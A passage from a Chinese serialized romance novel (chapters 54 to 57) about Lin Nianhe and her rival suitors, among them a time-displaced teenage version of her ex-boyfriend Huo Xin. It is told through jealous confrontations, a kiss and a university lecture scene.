洗完澡出来,他随意擦干头发,转身出去敲隔壁房间的门。 里面没有声音,霍锌站在门口,径直开门进去。 少年正裸着上背,坐在床边换衣服,听见门口的动静,乍一看见他的脸,神情下意识地变冷。 小霍捞起一件睡衣套上,见他直直注视着自己,不冷不淡地问,“自卑了?” “……” “毕竟年龄差九岁,三年一道坎儿,我们中间隔着三道。” 霍锌没被他的话给激怒,视线若有若无地扫了下他的胸围,没反驳什么。 事实是,他这些年一直都有让私人健身教练帮他制定计划,每周都保持相应的运动量,还格外会练胸。这时候的胸围完全不是十几岁的男生能比的。 起码今天林念禾摸了他的胸后,再去摸面前这人的胸,只会觉得差强人意。 小霍挨的那几下,最严重的都在身上,脸上连个伤口都没有。 他刚脱衣服检查,一边回忆自己给霍锌造成的伤,一边想再打一次。 宣战的念头刚跑出来,对方就敲门进来了。 “找我干什么?” “和你谈谈。”霍锌斯条慢理,“你不想知道今天我为什么在她的卧室吗?” 后者眉毛皱起来,没说话,示意他继续。 其实知不知道无所谓,他只是见不得这个贱人,拿着鸡毛当令箭,恐吓林念禾,逼她跟他和好。 就像溺水的人,死死抓紧岸边好心人递过来的竹棍,在被救上来之前,害怕无助地依赖对方。 “她今天和江予州见面了。” 男生莫名看了他一眼,“我以为你不在意他。” 毕竟那天他告诉他江予州回来的消息时,霍锌的反应很平静。 他们住在林念禾的楼上,对楼下的任何风吹草动都一清二楚。这些天,姜砚频繁进出,还送林念禾回家。导致他好几次都没忍住,下楼走到楼梯口后,又害怕林念禾生气,只能隐在黑暗里看着他们在门口道别。 他觉得自己像阴沟里的老鼠,静静窥探林念禾的感情生活。 反观霍锌,从头到尾没有对他们两个人的接触做出一丝干扰。 他像一个死了的前男友,平静无声地看着前女友开始新感情。 如果不是今天碰巧发现霍锌偷偷进林念禾的卧室,他大概在他心里,现在还是个死了的状态。 “林念禾和他是闪婚,你觉得一个男人如果不图钱图脸,会和一个女人闪婚吗?” 小霍捞过一旁的书包,边翻作业边说,“所以,你想拉拢我,让我跟你站在一块儿” “很可惜,我不仅不喜欢他,还不喜欢你。” “没有打算拉拢你。”霍锌倚在门边,“就是通知你一下,他去找过林念禾了。” 话落,男人开门迈步出去。 良久,房间内的人暗骂了一声。 第二天周六, 霍锌难得没去公司,转头踩着点,下楼到林念禾家,把自己的伤展示给她看,说是小霍昨天到家把他打了一顿,他半点没还手。 林念禾拖了个医药箱,手掰着他的下巴,仔细观察,给他上药。 手法一点不轻,恨不得痛死他一样,报复似地把药膏涂在他的脸上。 霍锌一声不吭,低头望她,“你什么时候去跟陆建林说解除婚约的事” 她头都没抬,“过两天,先等品牌投入市场。” 林念禾自己创立的新智能家居品牌,已经开始进行宣发,并在线下试点。反响不错,过一段时间,就能正式开始投入市场。 她把药抹完,棉签扔进面前的垃圾桶,盖上医药箱。 听见旁边人突然问,“你喜欢他吗?” “为什么老问我喜不喜欢谁?”林念禾突然语气变差,“我不喜欢他,我也不喜欢你。” 随着话落,氛围陡然安静。 她心里有气,被问得实在烦得要死,天天就逮着她的那点感情生活问来问去。 他们之间有关系吗? 亲过几次的关系,亲过也不代表什么。 霍锌沉默了一瞬,没头没脑地来了一句,“你们最近相处的不错。” “我和楼下的流浪狗也相处的不错,你怎么不下楼去把它饭碗踢了。” “要是我真想跟他结婚,或者转头跟江予州复婚,你也拦不住我。 因为我们没有任何关系。” 听见流浪狗,乐乐跑过来,咬着她的裤脚,哼哼唧唧。 她没搭理它,抱着胳膊,背靠进沙发,“不走吗,等着蹭饭” 厨房的阿姨恰好出来,听见这话,笑眯眯地问,“霍先生要留下吃饭吗?” “不留。”林念禾脾气大的吓人,“他等会儿回家吃。” 阿姨望了他俩一眼,雇主的事,她也没权力插手,于是转身回到厨房。 霍锌摸摸食指的骨节,低垂眼,神色晦暗,起身走了。 等人离开,客厅回归安静,她才后知后觉地涌上来一丝愧疚,脑海里循环播放着他落寞的背影。 是不是话说的有些重 林念禾把一直哼哼唧唧的狗子,抱到身上,墩大厚实的狗压在她的胸口,物理上的压力让她的胸腔变得有些酸涩。 该死的,前二十几年桃花运跟死了一样,自从和霍锌重逢,桃花开得一朵比一朵旺盛。 姜砚不适合她,这一点她再确切不过。自己本来就不喜欢弟弟,他从小被父母溺爱,性格虽然不坏,但很有自己的脾气。这种脾气对上现在的她,如同埋在生活里的地雷,只等着燃线被点,炸死所有人。 林念禾捂着脸,好半天,听见阿姨喊她吃饭,站起来,收拾好情绪去餐厅。 饭吃到一半,她味同嚼蜡,嘴里随便塞着菜饭,听见门铃突然响起来。 阿姨去开门,不一会儿,刚刚的人去而复返。 他把一个打包好的袋子递给阿姨,阿姨转身进厨房。 林念禾这会儿还有些别扭尴尬,用手里的筷子挑了挑碗里的菜,菜下面还剩小半碗的饭,瞬间没有胃口。 没想到他还会回来。 以前的霍锌,听到她说这种伤人的话,要么捆着她扔到床上,要么冷战个三天三夜。 像是看出来她心里的想法。 “走了,给别人腾位置吗?” 霍锌接过阿姨端出来的汤,摆到林念禾的面前,伸手又把她的碗拿走。 早看出来林念禾今天状态不对,跟他说话时,缩在沙发里,蜷着腹部,他稍微一想,就知道她肯定是最近作息不规律,导致生理期疼。 林念禾克制又克制,没忍住,“你有个毛线的位置。” 男人装作没听见,把瓷勺塞进她的手里。 她低头看见碗里的汤,里面飘着各种各样她认识的还有不认识的食材,香味扑鼻。 “你做的?” “打包的。” 林念禾撇嘴,“我不吃剩饭。” 霍锌转到对面的动作一顿,目光落到她身上,眼睛里明明白白写着她是不是眼瞎六个大字。 同样觉得自己有点矫情,她装若无事地喝了两口,味道不错。 半碗汤下肚,片刻后,林念禾惊然发现自己小腹没有那么疼了。 霍锌用着她的碗,这会儿也吃的差不多,看见她的表情也没多说什么。 霍母之前的痛经比她更严重,每回喝这家酒楼的汤都能好转一些。与其让对方外送,还不如他亲自跑一趟来得快。 林念禾不痛了,心情也变好了。 霍锌见她心情变好,淡淡道,“我记得我走之前,你的痛经还没有这么严重。” “前几年熬夜熬太多了。” 霍锌当然知道这个前几年,是她和江予州结婚的那几年。 “江予州不关心你吗”他笑了下,意味不明。 话里绿茶味儿都飘到她这头了,暗戳戳指责江予州不够体贴心细,没他好。 回忆起那两年,她属实没法昧着良心说前夫坏话。 “工作太忙,没办法。” 吃完饭,林念禾转身想起来,刚才下面人交来的方案,于是拉着人去书房讨论工作。 待了半个小时,霍锌有事离开。 吃完晚饭,林念禾一个人到楼下散步。 傍晚,夕阳西沉,晚风吹过脸颊,花瓣的香味隐秘在其中。 她走到小区门口超市,往冰柜里拿了一罐可乐,打算捂热,正好回家喝。 冒着寒气的冰柜门还没关上,侧边突然伸出一只修长白皙的手,从里面拿了一瓶雪碧。 林念禾扭头看见一张熟悉的脸。 少年眉骨上有点淤青,不仔细看压根看不出来,他神色平常,顺手抽出她手里的饮料,放到收银台上结算。 林念禾在后面揣着手,亦步亦趋地跟着他出超市。 夕阳照在天边,明晃晃的金色阳光下,他站在林念禾的跟前,一步不动,唇角微抿。 半晌,出声,“你看我有什么变化。” 林念禾左右看他,自动把那点淤青忽略了,毕竟这人在学校打架也挺正常,但小霍现在力争做好学生,她不能打击孩子的积极性,于是摇头。 “没看出来。” 男生漂亮的眼睛流露出一丝委屈,很快被他压回去,声音平静,“昨天霍锌打我了。” “单方面殴打,我没还手。” “我跟他住不下去了,我要搬回去。” “他影响我高考。” 第55章 第55章好像只有我的名声坏掉了…… 如果林念禾今天没有先听到霍锌的说辞,面对小霍的控诉,说不定真的会冒出来几分同情。 很可惜,告状要趁早。 她眼神复杂,“他打你了?” “对。” “过来,让我看看。”林念禾声音突然温柔。 认识两年多,从来没见过她用这么温柔的嗓音说话,小霍被这温柔刀一刀刀进心里,顺从地抬步走到她面前,特意俯下身,低眉,露出脸上的淤青。 林念禾冷不丁抬手摁着他的眉骨,男生顿时痛地直抽冷气。 听见她无情地拆穿,“你们俩站着不动,心甘情愿被对方打的概率,比我爸明天出车祸的概率都小。” 小霍磨磨牙,手插进外套口袋,眼睛微眯,看了她一会儿,忽而肯定道,“他是不是提前上你这儿告状了?” 果然,即使霍锌比他大九岁,该干的贱事儿还是一件都没落下。 有的时候,比起其他情敌,他更想弄死未来的自己。 林念禾把手伸出来,问他要可乐,“也不算告状,就是跟你差不多的一套说辞。” 她手朝上,男生看了眼摆在眼前的白嫩掌心。 林念禾指甲修剪的很干净,尖端圆润,透着隐隐的粉白,手腕上带着一个红色的发圈。 他敛眸,遮住眼里的暗色,喉结莫名滚动了下,把泛着冷气的可乐放到她的手心。 罐体外壁挂着水珠,她把它塞进口袋,过程中难免让自己的手变得湿漉漉。 很不巧,出门的时候忘记带纸巾。 林念禾又不想拿自己的衣服擦手,一时间表情有些纠结。 没等她纠结好,是该等它自然晾干,还是拿自己衣角擦拭,手倏地被人拽过去。 干燥温热的掌心与她微凉的手背相贴,不属于自己的温度传到敏感的触感神经,小霍握住她的四根指尖,拿纸细细帮她擦去水珠。 可能是他最近这段时间用笔写字太多,中指处有茧,略显粗糙的地方压着她的手边缘,还无意识地摩挲两下。 等擦完林念禾手上的水,男生抬眼看见她突然变红的耳朵,想了下,“天气很热?” 她把自己的手从他手里抽出来,“有点。” “那还散步吗?” “不散了,我要回家。” 小霍看着她转身往小区里的背影,站在原地笑了下,把用过的纸巾塞进自己的口袋。 右手仿佛 还残存刚才的柔软触感,他捻了捻指腹,记起方才闻到的香味,眸色顿时渐深。 不知道霍锌今天跟她待了多久,林念禾的身上居然夹杂着他身上的一缕冷香。 他用的香氛产品都是国外香水大师定制调配出,明明很好闻的味道,但在和霍锌产生联系后,就只会让自己感到恶心。 林念禾走了没一小段距离,后面的人就追上来,像条狗一样黏在她身侧。如果有尾巴,她觉得小霍这会儿背后的尾巴估计能摇成螺旋桨。 她很不耐烦地往后挥手,想让他离远一点,别老在她耳边叽叽喳喳。 结果一不小心打到他的胸口,后者发出一声带着痛楚的闷哼。 林念禾停下来,扭头去看他。小霍抿唇,腰背微弯,捂着被打的左侧肩膀,眉毛皱在一块儿,好半天都说不出一句话。 “怎么了?”她有点懵,“打疼你了?” 那一下,她心里清楚根本没用多大力气。但他这副痛得要死的表情,一时间让林念禾真对自己生出了怀疑。 他缓了片刻,直起腰,“没事,逗你玩呢。” 林念禾狐疑地望他,没再追问,继续向前走。 走了没几步,她忽然伸手去扯他的衣服领口,“给我看一下。” 被扯住领口的人,一转之前的便宜样子。像个被骚扰的贞洁烈夫,拼命摁住她的手,“不行,大白天,在外面,我要清白的。” 林念禾一边跟他拉扯,一边骂他,“你脑子被狗舔了啊,平时也没见你多守男德,现在跟我玩这一套?” “林念禾,你别逼我。” “我逼你什么了,我就想看一眼。” 后半句“你肩膀是不是受伤了”没等说出来,一个小孩儿突然跑出来站到他们的旁边,睁着干净的黑眸,抬头看他俩拉扯。 下一秒,不知道从哪儿冒出来的家长,一把把小孩抱进怀里,跟他们道歉,“不好意思,我女儿不懂事。” 虽然嘴上说着道歉的话,眼神却不住地来回瞟着他们两个。 家长欲言又止的样子,让林念禾的脑子猛地炸开,她后知后觉发现自己的手还搭在他的衣领处。 那段对话,抛去前因后果,落在路人耳朵里,炸裂到不能再炸裂。 小霍没什么情绪地望了抱着小孩的家长一眼,也不解释,自顾自地把刚才弄歪的领口弄正。 对方被他泰若自然的样子弄得很尴尬,抱着女儿快步走远。 他想开口劝林念禾几句,看开点,毕竟那人又不认识他们,名声烂点又怎么了。 林念禾像是知道他的想法,眼神木然,凉凉道,“好像只有我的名声坏掉了。” 远处的路口一辆黑车驶进,小霍细细看了下牌照,下一秒,拽着林念禾的手腕躲到后方的一颗树后面。 她一晃神,后背靠上粗糙硌人的树干,巨大的树荫下,两个人紧密地挨在一起。 颈侧是男生的呼吸,他的手放在她的腰间,整个人压在她的身上,一如昨天房间里,霍锌把她压在门板上的样子。 少年声音低低的,带着笑意,“别动,霍锌的车在前面。” 幽香萦绕在鼻尖,他像闻猫薄荷一样,鼻尖轻轻蹭着林念禾的颈窝,哑声道,“让他发现了,你猜他会轻易放过你吗。” 当然不会。 霍锌嘴上说的大方,实际上比谁都难缠。每次出去和姜砚约会吃饭回家后,霍锌就会跑到她家待在她身边。像小孩争宠,别人和她共处一个小时,他就要加倍和她共处两个小时。 更别提,眼前的人是被霍锌拉入黑名单的其二之一。 他继续,“只对付我一个,不好吗?” 尾音仿佛带着把小刷子,轻轻地扫过她的心弦。 林念禾注视着面前这张年轻的初恋脸,发现自己确实有点顶不住这狗东西用美色勾引她。 十八岁,情窦初开,她就是被他凭借这张脸骗到手的。 27岁的霍锌也是万里挑一的好看,但自己对着那张脸,多少免疫了。 小霍不一样,就跟记忆里的纯元似的。拥有十八岁的脸,十八岁的身材,有着高中时期霍锌身上的少年气,和她记忆里的青春画上等号。 他捧住她的脸,在林念禾没反应过来时,轻轻贴上去。 很纯洁的吻,唇瓣相贴。 甚至因为耳边太过安静,注意力都在彼此身上,林念禾发现他好像有些紧张。 她没闭眼,静静地看着他的睫毛不住地小幅度颤抖。 一只手突然罩在她的眼睛上,“闭眼。” 哪有人接吻是睁着眼睛的。 纯洁的吻很快变得不纯洁了,他细细地舔吮她的唇瓣,搭在她腰间的手控制不住地用力,青涩的吻带着少年炙热而纯粹的爱意。 不知道什么时候,他撬开她的齿关。林念禾忍了一下没忍住,踮起脚尖,搂住他的后脖,从被动变成主动,呼吸间,两人位置颠倒。 方才还占据主导地位的人,此时此刻被人压在树干前,低着头承受她的吻。 时间过了好久,林念禾松开他,趴在他的胸口处平复气息。 先前用美色勾引她的男生,这时候,耳尖泛着红色,唇瓣红润,眼神不自然地瞥向一旁的草地。 他一只手虚虚环住她,另一只手垂在身侧,连指尖都透着红。 两个人安静地靠在树下,林念禾的脑袋贴在他的胸口处,隔着几层衣物,听见他激烈有力的心跳声。 能解释吗,她是因为他技术烂,所以才受不了,把他摁住。 唇瓣有些刺痛,林念禾舔了舔下唇,顿时觉得男色真害人。 想到另一尊大佛,她开口威胁,“不准告诉霍锌,他知道了,你就死定了。” 小霍抬腕,扣住她的后背,嗓音像是在沙砾中滚过,“知道。” 怎么可能告诉霍锌。 他清楚地知道什么事情可以拿出来炫耀,什么事情不可以拿出来炫耀。比如林念禾给他讲题,或者给他买了什么东西,都可以拿来刺激霍锌。 但她主动亲他,怕是哪天地球毁灭,宇宙爆炸,丧尸危机,他都不带说的。 小霍亲了下她的发顶,突然问,“还想看我的肩膀吗?” 林念禾从他怀里起来,扯着他的衣角,“看。” 他今天穿的是件黑色外套,里面一件白色短袖。听见她的回答后,小霍扫了她一眼,把拉链拉开,靠在树上,眼神懒洋洋的,一副任人揉搓的样子。 林念禾懒得骂他,踮起脚,捏住他的短袖领口,往里看了一眼,顿时被惊到。 肩膀处一大片淤青,最边缘皮肤处的淤青开始往外散,变得泛紫,看起来特别吓人。 “你们?”她愣愣地望着他,很真诚地发问,“是打算弄死对方吗?” 小霍扒开她的爪子,肩膀一抖,把滑落的外套恢复原样,慢悠悠地把拉链拉回去,“这两天学校办运动会,我报了个三千米,上午开场被人撞了下。” 他语气轻松,丝毫没提撞他的哥们儿是个一米九,一百八十多斤的壮汉。撞那一下,他都差点以为自己肩膀脱臼了,后面硬是挺着把三千跑完,还拿了第一。 不让林念禾看,也是怕她看见了担心。 但很显然,他失算了。 林念禾只心疼了两分钟,就扯着他往家走。 她把人扔进客卧,转头拿了块毛巾和冰袋,站在床边,居高临下地低眸瞧他,“脱。” 小霍被她的话砸得有点懵,双手撑着,半仰看她,犹豫道,“不好吧,大白天的。” 她无语地把毛巾扔他脸上,“不脱,我怎么帮你冷敷。” 裹着冰块的毛巾温度低的吓人,他被冰得眼尾发红,乖巧地拿下毛巾递给林念禾,把上半身的短袖脱了坐在床边静静地望着她。 林念禾心无杂念,忽略他的六块腹肌,漂亮的锁骨,流畅的肌肉线条,径直把毛巾敷在他受伤的肩膀处。 小霍叹了口气, 放心地失望了。 本来以为她真要对他怎么样,自己还没做好准备,所以想拒绝。结果林念禾只是要帮他冷敷。 毛巾贴上去,冰凉的温度刺激得他下意识躲了下。 林念禾皱眉,“别躲。” 白皙的肌肉控制不住地抽动了下,他咬着下唇,倒吸口气,“不行。” “一会儿就好。” “不能换一个吗?”少年侧脸看到自己惨遭毒手的肩膀,没有淤青的地方,因为冰块而展露处一种诱人的粉色。 她举了一会儿,胳膊发酸,“你自己来。” 小霍刚接过去,手一滑,毛巾滚到他的腹部,温热的肌肤猝不及防贴上冰块,他发出一声闷哼。 霍锌是在这时开门进来的。 出去倒垃圾的阿姨正好回来,在门口撞见他,发现自己忘记把买的东西带上楼后,匆匆给他开门,然后下楼去找东西。 客厅安静,白色窗帘被风吹起来。 忽而,他听见某处有道男人的声音。 这声音很熟悉,紧接着是林念禾的声音,她抱怨,“你好没用。” 男生吸了口气,无奈:“你想我怎么有用?” 霍锌站在客厅听了两句,就捕捉到声音的来源,是从客卧传出来的。 他神情冷漠,抬步过去。 里面又突然传出来一道男人的闷哼。 客卧的门没锁,留着一道缝隙,他毫不犹豫地推开门,床上的两个人被这动静吸引过去,双双侧头。 霍锌只看了一秒,就上前把林念禾从床沿拽起来。他没有问他们在干什么,而是从口袋里拿出手帕,帮她擦手。 “别碰脏东西。” 林念禾张嘴刚想解释,身后坐着的男生笑了下,眼里的温和迅速褪去。 “哦,换个说法,林念禾碰了我,你就嫌她脏” 霍锌把她拥进怀里,面色平静,“裸着身体在别人的家里,我建议你跟我说话之前,先把衣服穿上。” 小霍扭头找了下,口吻随意,“林念禾,你把我衣服扔哪去了?” 被人牢牢攥住腰的她,脚尖刚动,就被霍锌摁回去。 “你自己扔地上了。” 林念禾拽着霍锌的衣角,“他肩膀今天被人撞了,好大一片淤青。” 说着,把手里的东西塞进霍锌手里,“你帮他再冰敷一会儿。” 他低头看见,手里被塞进来一个团状的毛巾。 没等他同意,林念禾趁机跑出去,同时命令坐在床上的当事人,“再冰个十分钟。” 门被关上,房间里剩下两个人。 小霍皱了下眉,“我自己来。” 话落,对方一声不吭地把东西摁在他的肩膀处。 伤口的疼痛混杂剧烈的冰感,他顿时手抓紧灰色的床单,骂道,“你有病吧。” 霍锌只弄了一下,松手,把毛巾扔在床边,走到窗户边。 “这是最后一次。” 小霍抬眼望向他,男人神色冰冷,漆黑的眸子盯着自己,仿佛在看死去的猎物。 “威胁我”少年幽幽道,“从小到大最讨厌的就是别人威胁我。” “你在这个世界上,和任何人都没有联系。我多少有点能力,让一个黑户悄无声息地离开。” 他没心思再继续冰敷,捞起旁边的衣服套上,“你把我弄死,估计你也会死。” 他们一个是未来的自己,一个是过去的自己。 如同绕在一起的线团,怎么扯都扯不开。 霍锌靠在桌边,“谁能证明你是同一时间线里过去的我” “失去一个平行时空里的自己,并不会影响我。” 少年沉默一刻,对上他的眼睛,“你这样只会被林念禾推的更远。” “那你就别来招惹她。” 小霍穿好衣服,站起来开门,看似平静,脑子里却在思考,如果霍锌知道今天下午,他的车路过的一颗树后,林念禾踮着脚在亲他,估计会疯吧。 得出结论后,非但不害怕被发现,心底甚至涌上来一丝隐秘的兴奋。 林念禾坐在沙发上玩手机,一抬头看见两个人完好无损地走出来,还有点遗憾他俩居然没动手。 虽然没动手,但肉眼可见地两个人心情都很差。 霍锌凑到她面前,亲了下她的脸,就带着小霍离开上楼。 A大的讲座定在四月底,品牌上市的时间在四月中。 林念禾那天短暂地感受了一下男色后,紧接着投入到工作中,忙得脚不沾地。 因为概念新颖,融合了陆氏自己的企业特色专利,产品一经问世,成为陆氏当月销量第一,智能家居一度成为近期最热话题。 与此同时,更多的大众更喜欢扒点陆家的狗血八卦。 陆家的那点破事早被林念禾让人公关掉了,为了提高产品好感度,她还特意让人引导舆论,重点在于塑造一个努力、有天赋、有能力的女继承人形象。 A大的讲座,就是塑造形象的一个环节。 时间是下午三点,她两点到了休息室。 手里拿着几个秘书润色过好几遍的稿子,林念禾仔细看着稿,忍不住打了个哈欠,扭头看见旁边站着一个人。 江予州递给她一杯咖啡,俯身贴过来想看她的演讲稿。 林念禾还没留意到过于亲密的距离,他忽地抬手越过她的头顶,把自己手里的咖啡放到桌面,整个人像是将她虚抱进怀里。 “紧张吗?” 她摇头,“还行。” 江予州温柔笑了下,“大礼堂好几千人,还以为你会紧张。” 林念禾从小到大,数不清上过多少次国旗下讲话。第一次站在台上望着底下密密麻麻的人,倒是有点紧张,只不过次数多了,就没什么感觉了。 大学刚开学,她作为学生代表上台发言,和这场面半斤八两。 所以一次讲座,并不会让她特别紧张。 “你比我厉害,我第一次给学生上课,手抖得不行。” 没听过江予州说起自己第一次上课的经历,林念禾有些好奇地侧眸,霎时间僵住。 男人不知道什么时候离自己很近,灰棕色的瞳眸安静而专注地看着她,某些情愫即将溢出来。 第56章 第56章三个情敌 江予州没有多言,手抬起来,似乎是想摸摸她的头,对上林念禾探究的眼神,他收回手,站起身。 “既然不紧张,我带你在学校里走一走?” 她看了眼手机,两点二十,离讲座开始还有四十分钟,手里的稿子早顺过好几遍了,熟的不能再熟。 但和前夫出去遛弯,林念禾总觉得很别扭,于是拒绝,“我有点累,想休息一会儿。” 他脸上表情不变,用脚把旁边的座椅勾过来,坐下,“学校领导说让我晚上陪你吃顿饭。” 现在就业形式严峻,多和一家企业签合同,毕业季领导往上报的就业率就越高,学校招生宣传就越好看。 那天他在学院门口送别林念禾,不小心被学院一位领导看见。领导以为他俩认识,但不清楚他们是离婚的前夫前妻,所以才找他作陪,想和林念禾吃顿饭。 她拿起咖啡,喝了一口,脑子没反应过来他的意思,就听对方接着说,“领导说让我发挥我这张脸的优势,最好能把你哄高兴了,给学院做点贡献。” 一口咖啡差点呛死,林念禾涨的脸通红,不停咳嗽。 江予州把纸递到她面前,轻拍她的后背帮她顺气,浑然不觉得自己说了什么惊世骇俗的话,“你有想吃的菜系吗,我去定餐厅。” “不、不用。”林念禾费力地接过纸,又连着咳嗽几声。 “那我做饭?” “更不用了。” 那阵呛意终于过去,她深吸了两口气,“我们当然很乐意跟学校合作,不用吃饭,真的不用。” 江予州捻捻指腹,眼眸似笑非笑,“你晚上约了别人” 就算没事,这会儿她也得编个有事出来。 “我约了甲方吃饭。”她说,“最近实在没时间,饭桌上不适 合聊正事,改天我亲自去找你们领导一趟,聊一聊合作。” 怕他不信自己,林念禾给他画饼,“最近公司有人才引进计划,A大的学生当然在陆氏首批考虑之中。” 画完这块又大又厚实的饼后,她眼巴巴地望着江予州,希望对方能给点退缩的反应。 不尴尬吗,前夫哥,前妻姐,坐一块儿面对面地吃饭。 吃完那顿饭,她可能会消化不良,半夜睡不着觉,翻来覆去回忆。 江予州静静看了她片刻,忽而笑了,将目光转移到别处,语气低落,“他是学校新聘进来的,不知道为什么对我态度有点奇怪。” 林念禾放下手里的咖啡,直起腰,捞起放在桌前的手机,“你把他联系方式推给我一下,我们定一个见面时间。” 她很讨厌职场上无缘无故的针对,以前在徐寒手底下工作,他经常脾气用事,一个不高兴就看你哪哪都不顺眼。 很多时候,林念禾都劝自己忍一忍就过去了,后来劝多了,她就开始在心里诅咒徐寒。 话落下,许久,她没听见男人的回话,抬眼寻过去。 对方似乎在出神,表情有些愣。 他对上林念禾的眼睛,“好,我把他微信推你。” 心里总归有些失望,但江予州还是老实地把那位院领导的联系方式发给了林念禾。 熄屏的手机在他的手里来回翻转,门外有人敲门,林念禾说了声进,苏荥推门进来。 她乍一看见休息室里的陌生男人,没多问,男人好像轻飘飘地打量了她一眼,透过金丝眼框,温润的眼眸温度陡然冷了一瞬。 苏荥眉毛轻蹙,没在脑子里搜索到这号人物,更想不起来怎么跟他结的仇。 江予州离开,休息室里安静下来。 她坐到林念禾身边,“林总,再准备一会儿就可以上场了。” 林念禾正翻着稿子,苏荥目光一瞥望见手边的咖啡,八成是刚走的那位买的。 下属一般不会对领导的生活多加过问,但这段时间来,她们的关系更像是朋友,压力大了会找个夜市,一边喝着啤酒一边吐槽遇到的智障合作方。 苏荥的性格有点钻牛角尖,这会儿想不通哪儿得罪了江予州,就在心底里拼命琢磨。 林念禾侧眸见她一副深思的神情,“想什么呢?” “刚才那位是谁” “我前夫。” “” 话尾刚落,苏荥突然表情变复杂,往旁边挪。 “怎么了?”林念禾好奇,“你座位底下长针了?” “不是。”她支支吾吾,“哎呦,你别问了。” 难怪…… 难怪他对她有敌意。 去年那份离婚协议书就是苏荥送去的,站在一边盯着江予州签完。 她还记得当时江予州躺在病床上,白皙的手背扎着针,唇色发白,一笔一划地写上自己的名字。 但是苏荥连续加班好几天,累得身心憔悴,没有半点同情和人文关怀,像个机器人一样冷漠地催促他快点。并且按照陆建林的意思,在对方签完字后,公事公办地递过去一张银行卡。 犹记得江予州一瞬间的表情,整个人阴沉沉的,没接那张卡。 怪不得人家不喜欢她呢,她就像霸总文里拿钱侮辱女主的反派,用金钱玷污对方的感情。 苏荥换位思考了一下,发现根本无法共情江予州,她很想能有这么个人突然来侮辱自己一下。 过了十多分钟,到林念禾上台的时间了。 今天准备的稿子主要是关于她自己新创的品牌。 投影仪在白屏上亮起的那刻,台下坐满了学生,密密麻麻的,她握了握手里的话筒,清脆的声线通过扩声音响传到每个人的耳朵里。 清晰的吐字和适当的停顿,内容听起来并不枯燥,并且容易让人沉浸进去。 四十分钟的讲座结束后,到了随机提问环节。 她拧开矿泉水瓶喝了一口润嗓,开始一一扫过台下的学生。 举手的人很多,座无虚席,方才演讲时她只随意将目光落在后方,没有细看。 准备挑人提问,林念禾忽地看见一个熟悉的人脸藏在人群里。 对方注意到她的视线,冲她挑唇一笑,随后偏头将目光移开。 林念禾抠着话筒的手一顿,紧接着挑了几个同学。大家问的问题大多关于未来规划和陆氏的招聘,她有耐心地一一回答完后,结束这场效果超过预期的讲座会。 礼堂瞬间嘈杂起来,人头涌动,纷纷往外走,小霍坐在倒数几排的最里侧,姿态懒散地靠在椅子上,没动。 人几乎都走光了,台上的人攥着矿泉水瓶往下走。 苏荥迎上来,“效果不错,照片视频都拍够了,我还特意找了几个人安排在座位席上录了几段视频,回去让人剪剪配个音乐发短视频平台上,估计能小爆。” 别的不说,就冲林念禾这张脸和女总裁气质,随便写个文案,放网上都得小火一把。 她不经感叹,果然还是女领导好宣传。像陆建林那种土埋半截的老头,就算往里砸再多,也不符合网上大众的审美。 “等会儿还回公司吗?” 林念禾捏了下眉心,“不回了,你也回去吧,我等会儿自己开车回去。” 她这段时间累的够呛,现在急需早退回血。 苏荥顿时笑开了,“那林总再见。” 说完,她跑的比兔子还快。 林念禾低头,视野里突然出现一双鞋,她撩眼望去,男生站在她面前,弯下腰同她对视。 视线在同一水平,年轻的脸庞凑近,眼眸清澈澄亮,像两颗黑溜溜的乌珠,眼里装满笑意。 “伸手。” 林念禾伸开手,不知道他要干什么,刚想让他老实一点,掌心里倏地落入一颗黄色包装的柠檬糖。 “吃颗糖,补充一下力气。”他又从兜里拿出一颗糖,撕开糖衣,喂到林念禾的嘴边。 以前的霍锌就喜欢兜里塞着几颗糖,没事给她塞一粒,但更多时间,一颗糖最后进了两个人的嘴。 她看了他一会儿,张嘴顺从地将糖吃进去。 柔软的唇肉贴上指腹,微张嘴时舌头不小心碰到他的指尖,少年面不改色地把糖纸塞进自己的口袋,手垂在身侧,眼神不自觉落到她的唇上。 他知道这块地方有多软,知道舔过某块地方时,林念禾会不自觉地抓紧他的衣服,踮起脚往他的怀里送。 “你逃课了?” 他说话坦荡荡,“逃了。” “还有两个多月高考。” 小霍打断她的话,“我前提熟悉熟悉大学环境,而且高考前不能太过紧张,需要适当放松心情。” 酸甜的味道布满口腔,舌尖上漫着水果味,林念禾将糖从左边滑到右边,“你又不是真高考,顶多算模拟,有什么好紧张的。” 他俩一边往休息室走去,一边拌嘴。 “什么模拟,这是真高考好嘛。” “定你生死的那场考试在九年前。” “但我最近真的压力有点大,晚上睡不着。” “亏心事做多了吧。” “林念禾,我在你心里就是这种人?” 她推开休息室的门,那句“不然呢”硬生生卡在嗓子眼,僵在原地。 身后的人见她不动,跟上来,还在叽叽喳喳地逼问她,“你说啊,你说我在你心里到底是什么人?” 话尾落地,小霍倏地往里看见三张熟悉的脸。 林念禾还仿佛石化般地杵在原地,手握着门把,脑子里乱成一团,甚至抽空想了想今早出门有没有看黄历。 算上她背后的,四个人就这么凑巧的全挤在了她的休息室里面。 小霍的脸色飞快地冷下去,单只手摁在她的肩膀上。 三道视线不约而同地投过来,落在他放在她右肩的手背上。 林念禾像是被这几道目光烫到了似的,把他的手拂开,眼疾手快地推了他一下。 小霍没防备,踉跄了几步,后脚刚越过门线,“砰”的一声,门在眼前关上了,鼻尖抵着木板。 小霍:…… 好样的。 三个情敌在里面,他被关 在了外面。 第57章 第57章取消 门里安静到落针可闻。 三个男人各占据了一个方位。霍锌站在窗边,长腿裹在西装下,看起来像是刚从公司过来,眼眸黑沉沉的。 江予州坐在沙发上,膝盖叠交,手搭在腿上,食指轻敲,思考着什么。 姜砚估计是没地方站了,又不想和他们两个人离的太近,自己找了个墙角,低着头,靠着墙,表情冷淡。 三道目光同时投过来的那瞬,林念禾背后倏地冒起冷汗,明明没有当海王,没有同时脚踏几条船,见鬼的有种鱼塘翻车的刺激感。 一个前夫,一个前男友,一个即将成为前未婚夫。 她在脑子里过了一圈人物关系,发现根本没必要紧张,他们都是过去式,又不是现在时。 姜砚背部微微离墙,脚刚动一步,另外两人冰凉的目光紧随而来。 江予州圈住手,抵在嘴边,突然发出两声咳嗽,林念禾的注意力顿时被吸引过去。 他放下手,抿唇,歉意道,“身体还没恢复好,最近换季有点感冒。” 姜砚睨了他一眼,觉得他装的要死比霍锌还装。起码后者进房间看见他的时候,没有假惺惺地上来问自己和林念禾的关系,没有阴阳怪气地嘲讽他。 现在又在林念禾面前装柔弱,贱不贱。 姜砚靠回墙,下巴朝门外方向稍抬,“感冒就出去,别把念禾传染了。” 